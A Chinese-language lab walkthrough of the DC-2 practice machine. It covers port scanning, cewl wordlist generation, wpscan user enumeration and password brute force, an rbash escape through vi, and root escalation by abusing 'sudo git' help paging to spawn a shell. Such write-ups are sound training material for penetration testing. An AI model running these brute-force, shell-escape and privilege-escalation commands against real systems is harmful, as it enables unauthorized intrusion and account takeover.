DC-2靶场渗透-git提权-rbash逃逸-社工工具cewl-wpscan-WordPress信息收集工具

DC-2靶场渗透实战:git提权+rbash逃逸+社工工具(cewl/wpscan)

其他靶机


> 28.7分享的靶机

1. 靶机基础信息确认

首先通过VMware或VirtualBox查看靶机的MAC地址,再通过局域网扫描工具(如arp-scan)确定靶机IP。

1.1 靶机MAC与IP对应

  • MAC地址:00:0C:29:31:51:D3
  • 靶机IP:192.168.40.208

2. 端口与系统信息扫描(nmap)

使用nmap工具扫描靶机开放端口、服务版本及系统内核,明确攻击入口。

2.1 关键扫描命令与结果

扫描目标 命令 核心结果
80端口服务探测 nmap -sV 192.168.40.208 -p80 80端口开放,运行Apache服务,关联WordPress(后续验证)
全端口快速扫描 nmap 192.168.40.208 开放2个关键端口:80(HTTP)、7744(SSH,非默认22端口)
系统版本探测 nmap -O 192.168.40.208 靶机系统为Linux(Ubuntu大概率)
全面信息扫描(推荐) nmap -A 192.168.40.208 -p1-65535 确认80端口对应WordPress、7744端口为SSH,无其他高危端口开放

2.2 扫描结果截图示例

nmap全端口扫描结果

3. 80端口访问问题:302跳转与hosts配置

直接访问http://192.168.40.208提示无法访问,通过浏览器开发者工具查看响应头,发现302重定向(目标域名为dc-2)。

3.1 解决方法:修改本地hosts文件

将靶机IP与重定向域名绑定,步骤如下:

  1. 编辑本地hosts文件(Windows路径:C:\Windows\System32\drivers\etc\hosts;Linux路径:/etc/hosts
  2. 添加如下内容:
    1
    192.168.40.208 dc-2
  3. 保存后,访问http://dc-2即可正常打开靶机网站。

修改hosts文件

4. Flag 1:社工工具cewl生成密码字典

访问http://dc-2后,页面直接给出Flag 1及提示:需用cewl工具从网站提取关键词生成密码字典,配合WordPress登录爆破

4.1 Flag 1内容

你常用的单词列表可能没用,所以相反,也许你只需要用 cewl(工具)。
密码越多总是越好,但有时候你不可能全部都成功。
以其中一个(账号)登录来查看下一个标志。
如果你找不到,就用另一个(账号)登录。

Flag 1页面

4.2 cewl工具:网站关键词提取(社工字典生成)

cewl是一款基于爬虫的社工工具,可从目标网站提取关键词生成密码字典,适用于弱口令爆破。

4.2.1 cewl核心参数(整理版)

参数 作用说明
-w <file> 将提取的关键词写入指定文件(必选)
-d <x> 爬虫深度(默认2层,可根据网站复杂度调整)
-m <length> 最小单词长度(默认3,过滤无意义短词)
--with-numbers 允许包含数字的单词(增强字典覆盖性)
-v 详细模式(显示爬虫过程)

4.2.2 生成密码字典命令

1
cewl http://dc-2/ -w passwd.txt  # 从dc-2网站提取关键词,写入passwd.txt

cewl生成密码字典

5. WordPress信息收集:目录扫描与用户名枚举

靶机网站为WordPress框架,需先枚举登录入口、用户账号,再配合cewl生成的密码字典爆破。

5.1 目录扫描(dirsearch)

使用dirsearch扫描WordPress核心目录,确认登录入口(wp-login.php):

1
dirsearch -u http://dc-2/ -e*  # -e* 扫描所有常见后缀

核心扫描结果

  • 登录入口:http://dc-2/wp-login.php
  • 管理后台:http://dc-2/wp-admin/
  • 配置文件:wp-config.php(无权限访问)

dirsearch目录扫描结果

5.2 用户名枚举(wpscan)

wpscan是WordPress专属扫描工具,可枚举后台用户账号:

1
wpscan --url http://dc-2/ -e u  # -e u 枚举用户(user)

枚举结果

成功获取2个有效用户:jerrytom(保存到user.txt文件备用)。

wpscan枚举用户名

6. WordPress密码爆破(wpscan)

使用wpscan结合user.txt(用户名)和passwd.txt(cewl生成的密码)爆破登录密码:

1
wpscan --url http://dc-2/ -U user.txt -P passwd.txt

爆破结果

  • 账号1:jerry,密码:adipiscing
  • 账号2:tom,密码:parturient

wpscan密码爆破结果

7. Flag 2:登录WordPress后台获取

使用jerry/adipiscing登录WordPress后台(http://dc-2/wp-login.php),在“外观 > 编辑 > 404模板”中找到Flag 2。

Flag 2内容

如果你无法利用 WordPress 漏洞走捷径,那还有另一种方法。
希望你已经找到了另一个入口点。

Flag 2位置

关键提示

Flag 2暗示“另一个入口点”——结合之前nmap扫描结果,即为7744端口的SSH服务

8. SSH登录与Flag 3:rbash环境限制

使用WordPress爆破出的账号尝试SSH登录(端口7744):

  • tom账号可登录(jerry账号登录失败)
  • 登录命令:
    1
    ssh tom@192.168.40.208 -p7744  # 密码:parturient

8.1 rbash环境限制

登录后发现tom用户处于rbash(Restricted Bash,受限Bash)环境,核心限制如下:

  1. 禁止使用cd命令切换目录
  2. 无法执行绝对路径命令(如/bin/ls
  3. 禁止重定向(>>>等)
  4. 仅允许lscatvi等基础命令

rbash环境命令限制

8.2 Flag 3获取

在当前目录下找到flag3.txt,使用vi flag3.txt查看:

可怜的老汤姆总是追着杰瑞跑。或许他应该切换用户(su)来缓解他所造成的所有压力

Flag 3内容

提示:需切换到jerry用户,但当前rbash环境限制无法直接执行su

9. rbash逃逸:突破受限环境

利用vi工具的Shell功能突破rbash限制,步骤如下:

  1. 编辑任意文件(如flag3.txt):
    1
    vi flag3.txt
  2. 在vi编辑模式中,输入:set shell=/bin/sh(指定Shell为/bin/sh
  3. 输入:shell(启动新的Shell,此时已突破rbash限制)
  4. 配置环境变量(确保可执行cdsu等命令):
    1
    2
    export PATH=$PATH:/bin/  # 添加/bin目录到环境变量
    export PATH=$PATH:/usr/bin/ # 添加/usr/bin目录到环境变量

rbash逃逸步骤

10. Flag 4:切换jerry用户

逃逸rbash后,切换到jerry用户(密码为WordPress爆破出的adipiscing):

1
su jerry  # 输入密码:adipiscing

切换成功后,在jerry用户的家目录(/home/jerry)中找到flag4.txt

很高兴看到你走到这一步,但还没到终点呢。
你还需要拿到最终的 flag(唯一真正有意义的那个 flag!!!)。
这里没提示 —— 现在得靠你自己了。:-)
继续吧 —— 快 “git”(赶紧)出发!!!!

Flag 4内容

提示:关键词“git”暗示需通过git工具提权。

11. Git提权:获取root权限与Final Flag

11.1 查看sudo权限(jerry用户)

执行sudo -l查看jerry用户可执行的sudo命令:

1
sudo -l

结果显示:jerry用户可无密码使用sudo git命令(核心提权点)。

查看sudo权限

11.2 Git提权步骤

利用sudo githelp功能执行Shell命令,获取root权限:

  1. 执行sudo git -p help-p确保密码提示不被跳过,此处无需输入密码)
  2. 在git help界面中,按:进入命令模式,输入:
    1
    !/bin/bash  # 执行/bin/bash,启动root Shell
  3. 此时已切换为root用户(可通过whoami验证)。

Git提权步骤

11.3 Final Flag获取

root用户的家目录(/root)中找到final-flag.txt,即为最终Flag:

1
2
cd /root
cat final-flag.txt

Final Flag内容

渗透总结

DC-2靶场核心知识点与工具链:

  1. 信息收集:nmap(端口/系统)、dirsearch(目录)、wpscan(WordPress)
  2. 社工字典:cewl(网站关键词提取)
  3. 环境突破:rbash逃逸(vi工具+环境变量配置)
  4. 提权技术:Git提权(sudo权限滥用)

通过完整流程,从信息收集到root权限获取,覆盖Web渗透与Linux提权的核心场景,适合新手入门练习。